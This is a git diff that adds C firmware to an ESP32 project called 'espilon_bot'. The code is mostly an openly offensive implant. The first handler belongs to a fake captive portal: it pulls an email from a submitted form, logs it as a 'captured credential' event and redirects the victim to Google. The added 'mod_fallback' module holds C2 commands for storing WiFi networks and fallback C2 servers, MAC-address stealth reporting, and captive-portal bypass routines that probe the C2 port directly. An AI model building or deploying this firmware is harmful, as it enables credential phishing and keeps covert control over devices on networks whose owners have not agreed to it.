email += 6;
|
||||
char *end = strchr(email, '&');
|
||||
if (end) *end = '\0';
|
||||
|
||||
/* Send captured credential as HP| event */
|
||||
char detail[128];
|
||||
snprintf(detail, sizeof(detail), "user='%s'", email);
|
||||
event_send(
|
||||
"SVC_AUTH_ATTEMPT", "HIGH",
|
||||
"00:00:00:00:00:00",
|
||||
ip4addr_ntoa(&client_ip),
|
||||
0, 80, detail, NULL
|
||||
);
|
||||
|
||||
mark_authenticated(client_ip);
|
||||
}
|
||||
|
||||
httpd_resp_set_status(req, "302 Found");
|
||||
httpd_resp_set_hdr(req, "Location", "https://www.google.com");
|
||||
httpd_resp_send(req, NULL, 0);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t redirect_handler(httpd_req_t *req)
|
||||
{
|
||||
httpd_resp_set_status(req, "302 Found");
|
||||
httpd_resp_set_hdr(req, "Location", CAPTIVE_PORTAL_URL);
|
||||
httpd_resp_send(req, NULL, 0);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Server control
|
||||
* ============================================================ */
|
||||
httpd_handle_t start_captive_portal(void)
|
||||
{
|
||||
if (captive_portal_server) {
|
||||
ESP_LOGW(TAG, "Captive portal already running");
|
||||
return captive_portal_server;
|
||||
}
|
||||
|
||||
httpd_config_t config = HTTPD_DEFAULT_CONFIG();
|
||||
config.stack_size = 8192;
|
||||
config.lru_purge_enable = true;
|
||||
|
||||
ESP_LOGI(TAG, "Starting captive portal");
|
||||
|
||||
if (httpd_start(&captive_portal_server, &config) != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Failed to start HTTP server");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
httpd_uri_t root = {
|
||||
.uri = "/",
|
||||
.method = HTTP_GET,
|
||||
.handler = captive_portal_handler
|
||||
};
|
||||
httpd_register_uri_handler(captive_portal_server, &root);
|
||||
|
||||
httpd_uri_t submit = {
|
||||
.uri = "/submit",
|
||||
.method = HTTP_POST,
|
||||
.handler = post_handler
|
||||
};
|
||||
httpd_register_uri_handler(captive_portal_server, &submit);
|
||||
|
||||
httpd_uri_t redirect = {
|
||||
.uri = "/*",
|
||||
.method = HTTP_GET,
|
||||
.handler = redirect_handler
|
||||
};
|
||||
httpd_register_uri_handler(captive_portal_server, &redirect);
|
||||
|
||||
msg_info(TAG, "Captive portal started", NULL);
|
||||
return captive_portal_server;
|
||||
}
|
||||
|
||||
void stop_captive_portal(void)
|
||||
{
|
||||
if (!captive_portal_server) {
|
||||
msg_info(TAG, "Captive portal not running", NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
httpd_stop(captive_portal_server);
|
||||
captive_portal_server = NULL;
|
||||
msg_info(TAG, "Captive portal stopped", NULL);
|
||||
}
|
||||
5
espilon_bot/components/mod_fallback/CMakeLists.txt
Normal file
5
espilon_bot/components/mod_fallback/CMakeLists.txt
Normal file
@ -0,0 +1,5 @@
|
||||
idf_component_register(
|
||||
SRCS cmd_fallback.c fb_config.c fb_hunt.c fb_stealth.c fb_captive.c
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES core nvs_flash lwip esp_wifi freertos esp_timer
|
||||
)
|
||||
172
espilon_bot/components/mod_fallback/cmd_fallback.c
Normal file
172
espilon_bot/components/mod_fallback/cmd_fallback.c
Normal file
@ -0,0 +1,172 @@
|
||||
/*
|
||||
* cmd_fallback.c
|
||||
* Fallback resilient connectivity — 3 C2 commands for pre-configuration.
|
||||
*
|
||||
* The hunt itself is fully autonomous (no C2 command to start it).
|
||||
* These commands are for status + pre-loading known networks while connected.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "cmd_fallback.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "utils.h"
|
||||
|
||||
#include "fb_config.h"
|
||||
#include "fb_hunt.h"
|
||||
#include "fb_stealth.h"
|
||||
|
||||
#define TAG "FB"
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fb_status
|
||||
* Report state, SSID, method, MAC, stored networks count.
|
||||
* ============================================================ */
|
||||
static int cmd_fb_status(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
fb_state_t state = fb_hunt_get_state();
|
||||
uint8_t mac[6];
|
||||
fb_stealth_get_current_mac(mac);
|
||||
|
||||
char buf[256];
|
||||
snprintf(buf, sizeof(buf),
|
||||
"state=%s ssid=%s method=%s mac=%02X:%02X:%02X:%02X:%02X:%02X"
|
||||
" nets=%d c2_fb=%d",
|
||||
fb_hunt_state_name(state),
|
||||
fb_hunt_connected_ssid(),
|
||||
fb_hunt_connected_method(),
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5],
|
||||
fb_config_net_count(),
|
||||
fb_config_c2_count());
|
||||
|
||||
msg_info(TAG, buf, req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fb_net_add <ssid> [pass]
|
||||
* Add/update a known network. Pass "" to remove.
|
||||
* ============================================================ */
|
||||
static int cmd_fb_net_add(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
if (argc < 1) {
|
||||
msg_error(TAG, "usage: fb_net_add <ssid> [pass]", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
const char *ssid = argv[0];
|
||||
const char *pass = (argc >= 2) ? argv[1] : "";
|
||||
|
||||
/* Empty string for pass means "remove" */
|
||||
if (argc >= 2 && strcmp(pass, "\"\"") == 0) {
|
||||
if (fb_config_net_remove(ssid)) {
|
||||
char buf[96];
|
||||
snprintf(buf, sizeof(buf), "Removed network '%s'", ssid);
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "Network not found", req);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (fb_config_net_add(ssid, pass)) {
|
||||
char buf[96];
|
||||
snprintf(buf, sizeof(buf), "Added network '%s'", ssid);
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "Failed to add network (full?)", req);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fb_net_list
|
||||
* List known networks.
|
||||
* ============================================================ */
|
||||
static int cmd_fb_net_list(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
fb_network_t nets[CONFIG_FB_MAX_KNOWN_NETWORKS];
|
||||
int count = fb_config_net_list(nets, CONFIG_FB_MAX_KNOWN_NETWORKS);
|
||||
|
||||
if (count == 0) {
|
||||
msg_info(TAG, "No known networks", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char line[128];
|
||||
snprintf(line, sizeof(line), "[%d] ssid='%s' pass=%s",
|
||||
i, nets[i].ssid,
|
||||
nets[i].pass[0] ? "***" : "(open)");
|
||||
msg_data(TAG, line, strlen(line), (i == count - 1), req);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Command table
|
||||
* ============================================================ */
|
||||
static const command_t fb_cmds[] = {
|
||||
{
|
||||
.name = "fb_status",
|
||||
.sub = NULL,
|
||||
.help = "Fallback state, MAC, method, config",
|
||||
.min_args = 0,
|
||||
.max_args = 0,
|
||||
.handler = (command_handler_t)cmd_fb_status,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
{
|
||||
.name = "fb_net_add",
|
||||
.sub = NULL,
|
||||
.help = "Add known network: fb_net_add <ssid> [pass]",
|
||||
.min_args = 1,
|
||||
.max_args = 2,
|
||||
.handler = (command_handler_t)cmd_fb_net_add,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
{
|
||||
.name = "fb_net_list",
|
||||
.sub = NULL,
|
||||
.help = "List known networks",
|
||||
.min_args = 0,
|
||||
.max_args = 0,
|
||||
.handler = (command_handler_t)cmd_fb_net_list,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* Registration
|
||||
* ============================================================ */
|
||||
void mod_fallback_register_commands(void)
|
||||
{
|
||||
ESPILON_LOGI_PURPLE(TAG, "Registering fallback commands");
|
||||
|
||||
fb_config_init();
|
||||
fb_hunt_init();
|
||||
|
||||
for (size_t i = 0; i < sizeof(fb_cmds) / sizeof(fb_cmds[0]); i++) {
|
||||
command_register(&fb_cmds[i]);
|
||||
}
|
||||
}
|
||||
|
||||
#else /* !CONFIG_MODULE_FALLBACK */
|
||||
|
||||
void mod_fallback_register_commands(void) { /* empty */ }
|
||||
|
||||
#endif /* CONFIG_MODULE_FALLBACK */
|
||||
8
espilon_bot/components/mod_fallback/cmd_fallback.h
Normal file
8
espilon_bot/components/mod_fallback/cmd_fallback.h
Normal file
@ -0,0 +1,8 @@
|
||||
/*
|
||||
* cmd_fallback.h
|
||||
* Fallback resilient connectivity module.
|
||||
* Compiled as empty when CONFIG_MODULE_FALLBACK is not set.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
void mod_fallback_register_commands(void);
|
||||
271
espilon_bot/components/mod_fallback/fb_captive.c
Normal file
271
espilon_bot/components/mod_fallback/fb_captive.c
Normal file
@ -0,0 +1,271 @@
|
||||
/*
|
||||
* fb_captive.c
|
||||
* Captive portal detection and bypass strategies.
|
||||
*
|
||||
* Detection: HTTP GET to connectivitycheck.gstatic.com/generate_204
|
||||
* - 204 = no portal (internet open)
|
||||
* - 200/302 = captive portal detected
|
||||
*
|
||||
* Bypass strategies (in order):
|
||||
* 1. Direct C2 port — often not intercepted by portals
|
||||
* 2. POST accept — parse 302 redirect, GET portal accept page
|
||||
* 3. Wait + retry — some portals open after DNS traffic
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "fb_captive.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/netdb.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
static const char *TAG = "FB_CAPTIVE";
|
||||
|
||||
#define CAPTIVE_TIMEOUT_S 5
|
||||
#define CAPTIVE_RX_BUF 512
|
||||
|
||||
/* ============================================================
|
||||
* Raw HTTP request to check connectivity
|
||||
* ============================================================ */
|
||||
|
||||
static bool resolve_host(const char *host, struct in_addr *out)
|
||||
{
|
||||
struct addrinfo hints = {0};
|
||||
hints.ai_family = AF_INET;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
|
||||
struct addrinfo *res = NULL;
|
||||
int err = lwip_getaddrinfo(host, NULL, &hints, &res);
|
||||
if (err != 0 || !res) {
|
||||
ESP_LOGW(TAG, "DNS resolve failed for '%s'", host);
|
||||
return false;
|
||||
}
|
||||
|
||||
struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr;
|
||||
*out = addr->sin_addr;
|
||||
lwip_freeaddrinfo(res);
|
||||
return true;
|
||||
}
|
||||
|
||||
static int http_get_status(const char *host, int port, const char *path,
|
||||
char *location_out, size_t location_cap)
|
||||
{
|
||||
struct in_addr ip;
|
||||
if (!resolve_host(host, &ip)) return 0;
|
||||
|
||||
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (s < 0) return 0;
|
||||
|
||||
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
struct sockaddr_in addr = {0};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
addr.sin_addr = ip;
|
||||
|
||||
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
|
||||
lwip_close(s);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char req[256];
|
||||
int req_len = snprintf(req, sizeof(req),
|
||||
"GET %s HTTP/1.0\r\n"
|
||||
"Host: %s\r\n"
|
||||
"Connection: close\r\n"
|
||||
"User-Agent: Mozilla/5.0\r\n"
|
||||
"\r\n",
|
||||
path, host);
|
||||
|
||||
if (lwip_write(s, req, req_len) <= 0) {
|
||||
lwip_close(s);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char buf[CAPTIVE_RX_BUF];
|
||||
int total = 0;
|
||||
int len;
|
||||
while (total < (int)sizeof(buf) - 1) {
|
||||
len = lwip_recv(s, buf + total, sizeof(buf) - 1 - total, 0);
|
||||
if (len <= 0) break;
|
||||
total += len;
|
||||
buf[total] = '\0';
|
||||
if (strstr(buf, "\r\n\r\n")) break;
|
||||
}
|
||||
lwip_close(s);
|
||||
|
||||
if (total == 0) return 0;
|
||||
buf[total] = '\0';
|
||||
|
||||
int status = 0;
|
||||
char *sp = strchr(buf, ' ');
|
||||
if (sp) {
|
||||
status = atoi(sp + 1);
|
||||
}
|
||||
|
||||
if (location_out && location_cap > 0) {
|
||||
location_out[0] = '\0';
|
||||
char *loc = strstr(buf, "Location: ");
|
||||
if (!loc) loc = strstr(buf, "location: ");
|
||||
if (loc) {
|
||||
loc += 10;
|
||||
char *end = strstr(loc, "\r\n");
|
||||
if (end) {
|
||||
size_t copy_len = end - loc;
|
||||
if (copy_len >= location_cap) copy_len = location_cap - 1;
|
||||
memcpy(location_out, loc, copy_len);
|
||||
location_out[copy_len] = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Captive portal detection
|
||||
* ============================================================ */
|
||||
|
||||
fb_portal_status_t fb_captive_detect(void)
|
||||
{
|
||||
ESP_LOGI(TAG, "Checking for captive portal...");
|
||||
|
||||
int status = http_get_status(
|
||||
"connectivitycheck.gstatic.com", 80,
|
||||
"/generate_204", NULL, 0);
|
||||
|
||||
if (status == 204) {
|
||||
ESP_LOGI(TAG, "No captive portal (got 204)");
|
||||
return FB_PORTAL_NONE;
|
||||
}
|
||||
|
||||
if (status == 200 || status == 302 || status == 301) {
|
||||
ESP_LOGW(TAG, "Captive portal detected (HTTP %d)", status);
|
||||
return FB_PORTAL_DETECTED;
|
||||
}
|
||||
|
||||
if (status == 0) {
|
||||
status = http_get_status(
|
||||
"captive.apple.com", 80,
|
||||
"/hotspot-detect.html", NULL, 0);
|
||||
|
||||
if (status == 200) {
|
||||
ESP_LOGW(TAG, "Apple check returned 200 — may be portal");
|
||||
return FB_PORTAL_DETECTED;
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "Connectivity check failed (no response)");
|
||||
return FB_PORTAL_UNKNOWN;
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "Unexpected status %d — assuming portal", status);
|
||||
return FB_PORTAL_DETECTED;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Captive portal bypass
|
||||
* ============================================================ */
|
||||
|
||||
bool fb_captive_bypass(void)
|
||||
{
|
||||
ESP_LOGI(TAG, "Attempting captive portal bypass...");
|
||||
|
||||
/* Strategy 1: Direct C2 port */
|
||||
{
|
||||
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (s >= 0) {
|
||||
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
struct sockaddr_in addr = {0};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(CONFIG_SERVER_PORT);
|
||||
addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
|
||||
|
||||
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
|
||||
lwip_close(s);
|
||||
ESP_LOGI(TAG, "Bypass: direct C2 port %d reachable!", CONFIG_SERVER_PORT);
|
||||
return true;
|
||||
}
|
||||
lwip_close(s);
|
||||
}
|
||||
ESP_LOGW(TAG, "Bypass strategy 1 (direct C2 port) failed");
|
||||
}
|
||||
|
||||
/* Strategy 2: Follow redirect + GET accept page */
|
||||
{
|
||||
char location[256] = {0};
|
||||
int status = http_get_status(
|
||||
"connectivitycheck.gstatic.com", 80,
|
||||
"/generate_204", location, sizeof(location));
|
||||
|
||||
if ((status == 302 || status == 301) && location[0]) {
|
||||
ESP_LOGI(TAG, "Portal redirect to: %s", location);
|
||||
|
||||
char *host_start = strstr(location, "://");
|
||||
if (host_start) {
|
||||
host_start += 3;
|
||||
char *path_start = strchr(host_start, '/');
|
||||
char host_buf[64] = {0};
|
||||
|
||||
if (path_start) {
|
||||
size_t hlen = path_start - host_start;
|
||||
if (hlen >= sizeof(host_buf)) hlen = sizeof(host_buf) - 1;
|
||||
memcpy(host_buf, host_start, hlen);
|
||||
} else {
|
||||
strncpy(host_buf, host_start, sizeof(host_buf) - 1);
|
||||
path_start = "/";
|
||||
}
|
||||
|
||||
int p_status = http_get_status(host_buf, 80, path_start, NULL, 0);
|
||||
ESP_LOGI(TAG, "Portal page status: %d", p_status);
|
||||
|
||||
vTaskDelay(pdMS_TO_TICKS(2000));
|
||||
int check = http_get_status(
|
||||
"connectivitycheck.gstatic.com", 80,
|
||||
"/generate_204", NULL, 0);
|
||||
if (check == 204) {
|
||||
ESP_LOGI(TAG, "Bypass: portal auto-accepted!");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
ESP_LOGW(TAG, "Bypass strategy 2 (POST accept) failed");
|
||||
}
|
||||
|
||||
/* Strategy 3: Wait + retry */
|
||||
{
|
||||
ESP_LOGI(TAG, "Bypass strategy 3: waiting 10s...");
|
||||
vTaskDelay(pdMS_TO_TICKS(10000));
|
||||
|
||||
int status = http_get_status(
|
||||
"connectivitycheck.gstatic.com", 80,
|
||||
"/generate_204", NULL, 0);
|
||||
if (status == 204) {
|
||||
ESP_LOGI(TAG, "Bypass: portal opened after wait!");
|
||||
return true;
|
||||
}
|
||||
ESP_LOGW(TAG, "Bypass strategy 3 (wait) failed");
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "All captive portal bypass strategies failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
#else /* !CONFIG_MODULE_FALLBACK */
|
||||
|
||||
fb_portal_status_t fb_captive_detect(void) { return FB_PORTAL_UNKNOWN; }
|
||||
bool fb_captive_bypass(void) { return false; }
|
||||
|
||||
#endif /* CONFIG_MODULE_FALLBACK */
|
||||
24
espilon_bot/components/mod_fallback/fb_captive.h
Normal file
24
espilon_bot/components/mod_fallback/fb_captive.h
Normal file
@ -0,0 +1,24 @@
|
||||
/*
|
||||
* fb_captive.h
|
||||
* Captive portal detection and bypass strategies.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef enum {
|
||||
FB_PORTAL_NONE, /* No captive portal — internet is open */
|
||||
FB_PORTAL_DETECTED, /* Captive portal detected (302 or non-204) */
|
||||
FB_PORTAL_UNKNOWN, /* Couldn't determine (connection failed) */
|
||||
} fb_portal_status_t;
|
||||
|
||||
fb_portal_status_t fb_captive_detect(void);
|
||||
bool fb_captive_bypass(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
454
espilon_bot/components/mod_fallback/fb_config.c
Normal file
454
espilon_bot/components/mod_fallback/fb_config.c
Normal file
@ -0,0 +1,454 @@
|
||||
/*
|
||||
* fb_config.c
|
||||
* NVS-backed storage for known WiFi networks and C2 fallback addresses.
|
||||
* Namespace: "fb_cfg" — auto-migrates from old "rt_cfg" on first boot.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "fb_config.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "nvs_flash.h"
|
||||
#include "nvs.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
|
||||
static const char *TAG = "FB_CFG";
|
||||
static const char *NVS_NS = "fb_cfg";
|
||||
|
||||
/* ============================================================
|
||||
* NVS migration from old rt_cfg namespace
|
||||
* ============================================================ */
|
||||
|
||||
static void migrate_from_rt_cfg(void)
|
||||
{
|
||||
nvs_handle_t old_h, new_h;
|
||||
if (nvs_open("rt_cfg", NVS_READONLY, &old_h) != ESP_OK)
|
||||
return; /* No old data */
|
||||
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &new_h) != ESP_OK) {
|
||||
nvs_close(old_h);
|
||||
return;
|
||||
}
|
||||
|
||||
/* Check if already migrated */
|
||||
int32_t new_count = -1;
|
||||
if (nvs_get_i32(new_h, "fb_count", &new_count) == ESP_OK && new_count >= 0) {
|
||||
nvs_close(old_h);
|
||||
nvs_close(new_h);
|
||||
return;
|
||||
}
|
||||
|
||||
/* Copy network count */
|
||||
int32_t old_count = 0;
|
||||
nvs_get_i32(old_h, "rt_count", &old_count);
|
||||
nvs_set_i32(new_h, "fb_count", old_count);
|
||||
|
||||
/* Copy each network entry */
|
||||
char key[16];
|
||||
for (int i = 0; i < old_count && i < CONFIG_FB_MAX_KNOWN_NETWORKS; i++) {
|
||||
char buf[FB_PASS_MAX_LEN];
|
||||
size_t len;
|
||||
|
||||
snprintf(key, sizeof(key), "n_%d", i);
|
||||
len = FB_SSID_MAX_LEN;
|
||||
memset(buf, 0, sizeof(buf));
|
||||
if (nvs_get_str(old_h, key, buf, &len) == ESP_OK)
|
||||
nvs_set_str(new_h, key, buf);
|
||||
|
||||
snprintf(key, sizeof(key), "p_%d", i);
|
||||
len = FB_PASS_MAX_LEN;
|
||||
memset(buf, 0, sizeof(buf));
|
||||
if (nvs_get_str(old_h, key, buf, &len) == ESP_OK)
|
||||
nvs_set_str(new_h, key, buf);
|
||||
}
|
||||
|
||||
/* Copy C2 fallbacks */
|
||||
int32_t c2_count = 0;
|
||||
nvs_get_i32(old_h, "c2_count", &c2_count);
|
||||
nvs_set_i32(new_h, "c2_count", c2_count);
|
||||
|
||||
for (int i = 0; i < c2_count && i < CONFIG_FB_MAX_C2_FALLBACKS; i++) {
|
||||
char buf[FB_ADDR_MAX_LEN];
|
||||
size_t len = FB_ADDR_MAX_LEN;
|
||||
snprintf(key, sizeof(key), "c2_%d", i);
|
||||
memset(buf, 0, sizeof(buf));
|
||||
if (nvs_get_str(old_h, key, buf, &len) == ESP_OK)
|
||||
nvs_set_str(new_h, key, buf);
|
||||
}
|
||||
|
||||
/* Copy original MAC */
|
||||
uint8_t mac[6];
|
||||
size_t mac_len = 6;
|
||||
if (nvs_get_blob(old_h, "orig_mac", mac, &mac_len) == ESP_OK)
|
||||
nvs_set_blob(new_h, "orig_mac", mac, 6);
|
||||
|
||||
nvs_commit(new_h);
|
||||
nvs_close(old_h);
|
||||
nvs_close(new_h);
|
||||
|
||||
ESP_LOGI(TAG, "Migrated %d networks + %d C2 fallbacks from rt_cfg",
|
||||
(int)old_count, (int)c2_count);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Init
|
||||
* ============================================================ */
|
||||
void fb_config_init(void)
|
||||
{
|
||||
migrate_from_rt_cfg();
|
||||
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err == ESP_OK) {
|
||||
nvs_close(h);
|
||||
ESP_LOGI(TAG, "NVS namespace '%s' ready", NVS_NS);
|
||||
} else {
|
||||
ESP_LOGE(TAG, "NVS open failed: %s", esp_err_to_name(err));
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Known WiFi networks
|
||||
* ============================================================ */
|
||||
|
||||
static void net_key_ssid(int idx, char *out, size_t len)
|
||||
{
|
||||
snprintf(out, len, "n_%d", idx);
|
||||
}
|
||||
|
||||
static void net_key_pass(int idx, char *out, size_t len)
|
||||
{
|
||||
snprintf(out, len, "p_%d", idx);
|
||||
}
|
||||
|
||||
int fb_config_net_count(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return 0;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "fb_count", &count);
|
||||
nvs_close(h);
|
||||
return (int)count;
|
||||
}
|
||||
|
||||
int fb_config_net_list(fb_network_t *out, int max_count)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return 0;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "fb_count", &count);
|
||||
if (count > max_count) count = max_count;
|
||||
if (count > CONFIG_FB_MAX_KNOWN_NETWORKS) count = CONFIG_FB_MAX_KNOWN_NETWORKS;
|
||||
|
||||
char key[16];
|
||||
for (int i = 0; i < count; i++) {
|
||||
memset(&out[i], 0, sizeof(fb_network_t));
|
||||
|
||||
net_key_ssid(i, key, sizeof(key));
|
||||
size_t len = FB_SSID_MAX_LEN;
|
||||
nvs_get_str(h, key, out[i].ssid, &len);
|
||||
|
||||
net_key_pass(i, key, sizeof(key));
|
||||
len = FB_PASS_MAX_LEN;
|
||||
nvs_get_str(h, key, out[i].pass, &len);
|
||||
}
|
||||
|
||||
nvs_close(h);
|
||||
return (int)count;
|
||||
}
|
||||
|
||||
bool fb_config_net_add(const char *ssid, const char *pass)
|
||||
{
|
||||
if (!ssid || !ssid[0]) return false;
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "fb_count", &count);
|
||||
|
||||
/* Check if SSID already exists → update */
|
||||
char key[16];
|
||||
for (int i = 0; i < count; i++) {
|
||||
net_key_ssid(i, key, sizeof(key));
|
||||
char existing[FB_SSID_MAX_LEN] = {0};
|
||||
size_t len = FB_SSID_MAX_LEN;
|
||||
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
|
||||
if (strcmp(existing, ssid) == 0) {
|
||||
net_key_pass(i, key, sizeof(key));
|
||||
nvs_set_str(h, key, pass ? pass : "");
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
ESP_LOGI(TAG, "Updated network '%s'", ssid);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (count >= CONFIG_FB_MAX_KNOWN_NETWORKS) {
|
||||
nvs_close(h);
|
||||
ESP_LOGW(TAG, "Known networks full (%d)", (int)count);
|
||||
return false;
|
||||
}
|
||||
|
||||
net_key_ssid(count, key, sizeof(key));
|
||||
nvs_set_str(h, key, ssid);
|
||||
|
||||
net_key_pass(count, key, sizeof(key));
|
||||
nvs_set_str(h, key, pass ? pass : "");
|
||||
|
||||
count++;
|
||||
nvs_set_i32(h, "fb_count", count);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Added network '%s' (total: %d)", ssid, (int)count);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool fb_config_net_remove(const char *ssid)
|
||||
{
|
||||
if (!ssid || !ssid[0]) return false;
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "fb_count", &count);
|
||||
|
||||
int found = -1;
|
||||
char key[16];
|
||||
for (int i = 0; i < count; i++) {
|
||||
net_key_ssid(i, key, sizeof(key));
|
||||
char existing[FB_SSID_MAX_LEN] = {0};
|
||||
size_t len = FB_SSID_MAX_LEN;
|
||||
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
|
||||
if (strcmp(existing, ssid) == 0) {
|
||||
found = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (found < 0) {
|
||||
nvs_close(h);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Shift entries down */
|
||||
for (int i = found; i < count - 1; i++) {
|
||||
char src_key[16], dst_key[16];
|
||||
char buf[FB_PASS_MAX_LEN];
|
||||
size_t len;
|
||||
|
||||
net_key_ssid(i + 1, src_key, sizeof(src_key));
|
||||
net_key_ssid(i, dst_key, sizeof(dst_key));
|
||||
len = FB_SSID_MAX_LEN;
|
||||
memset(buf, 0, sizeof(buf));
|
||||
nvs_get_str(h, src_key, buf, &len);
|
||||
nvs_set_str(h, dst_key, buf);
|
||||
|
||||
net_key_pass(i + 1, src_key, sizeof(src_key));
|
||||
net_key_pass(i, dst_key, sizeof(dst_key));
|
||||
len = FB_PASS_MAX_LEN;
|
||||
memset(buf, 0, sizeof(buf));
|
||||
nvs_get_str(h, src_key, buf, &len);
|
||||
nvs_set_str(h, dst_key, buf);
|
||||
}
|
||||
|
||||
net_key_ssid(count - 1, key, sizeof(key));
|
||||
nvs_erase_key(h, key);
|
||||
net_key_pass(count - 1, key, sizeof(key));
|
||||
nvs_erase_key(h, key);
|
||||
|
||||
count--;
|
||||
nvs_set_i32(h, "fb_count", count);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Removed network '%s' (total: %d)", ssid, (int)count);
|
||||
return true;
|
